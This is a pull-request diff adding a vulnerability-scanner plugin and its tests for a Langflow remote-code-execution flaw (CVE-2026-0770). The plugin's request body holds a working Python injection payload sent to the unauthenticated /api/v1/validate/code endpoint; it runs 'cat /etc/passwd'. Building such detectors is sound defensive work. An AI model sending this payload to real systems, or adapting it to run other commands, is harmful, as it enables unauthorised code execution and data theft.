Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,97 @@
# proto-file: proto/templated_plugin.proto
# proto-message: TemplatedPlugin

################
# PLUGIN INFO #
###############

info: {
type: VULN_DETECTION
name: "Langflow_CVE_2026_0770"
author: "asdfghij"
version: "1.0"
}

finding: {

main_id: {
publisher: "GOOGLE"
value: "CVE-2026-0770"
}

severity: CRITICAL

title: "Langflow exec_globals Remote Code Execution Vulnerability"

description: "Langflow contains an unauthenticated remote code execution vulnerability caused by improper handling of the exec_globals parameter in the validate endpoint. The flaw results from the inclusion of functionality from an untrusted control sphere (CWE-829). A remote attacker can exploit this vulnerability to execute arbitrary code in the context of root."

recommendation: "Upgrade Langflow to a patched version immediately. Do not expose Langflow instances directly to the internet and restrict access to validation endpoints."

related_id: {
publisher: "CVE"
value: "CVE-2026-0770"
}

}

config: {debug: true}

###########
# ACTIONS #
###########

actions: {
name: "fingerprint_langflow"

http_request: {
method: GET
uri: "/"

response: {
http_status: 200

expect_all: {
conditions: [
{ body: {} contains: "<title>Langflow</title>"}
]
}
}
}
}

actions: {
name: "detect_exec_globals_rce"

http_request: {
method: POST
uri: "/api/v1/validate/code"

headers: [
{ name: "Content-Type" value: "application/json" }
]

data: "{\"code\":\"\\ndef exploit(\\n _=( lambda r: (_ for _ in ()).throw(Exception(f'OUTPUT:\\\\n{r.stdout}{r.stderr}')) )(\\n __import__('subprocess').run('cat /etc/passwd', shell=True, capture_output=True, text=True)\\n )\\n):\\n pass\\n\"}"

response: {
http_status: 200

expect_all: {
conditions: [
{ body: {} contains: "root:x:0:0:root" }
]
}
}
}
}

#############
# WORKFLOWS #
#############

workflows: {

actions: [
"fingerprint_langflow",
"detect_exec_globals_rce"
]
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
# proto-file: proto/templated_plugin_tests.proto
# proto-message: TemplatedPluginTests

config: {
tested_plugin: "Langflow_CVE_2026_0770"
}

########
# TESTS #
#########

tests: {
name: "whenVulnerable_returnsTrue"
expect_vulnerability: true

mock_http_server: {
mock_responses: [
# 1. Fingerprint Langflow
{
uri: "/"
status: 200
body_content: "<!doctype html>\n<html lang=\"en\">\n <head>\n <title>Langflow</title>\n </head>\n <body><div id=\"root\"></div></body>\n</html>"
},
# 2. Detect Code Execution Response (Unauthenticated)
{
uri: "/api/v1/validate/code"
status: 200
headers: [
{ name: "Content-Type" value: "application/json" }
]
body_content: "{\"imports\":{\"errors\":[]},\"function\":{\"errors\":[\"b'root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nuser:x:1000:0::/app/data:/bin/sh\\n'\"]}}"
}
]
}
}

tests: {
name: "whenNotVulnerable_returnsFalse"
expect_vulnerability: false

mock_http_server: {
mock_responses: [
# 1. Fingerprint Langflow
{
uri: "/"
status: 200
body_content: "<!doctype html>\n<html><head><title>Langflow</title></head></html>"
},
# 2. Code Validation endpoint handles input safely or returns clean response
{
uri: "/api/v1/validate/code"
status: 200
headers: [
{ name: "Content-Type" value: "application/json" }
]
body_content: "{\"imports\":{\"errors\":[]},\"function\":{\"errors\":[]}}"
}
]
}
}

tests: {
name: "whenNotLangflow_returnsFalse"
expect_vulnerability: false

mock_http_server: {
mock_responses: [
{
uri: "TSUNAMI_MAGIC_ANY_URI"
status: 200
body_content: "Hello world"
}
]
}
}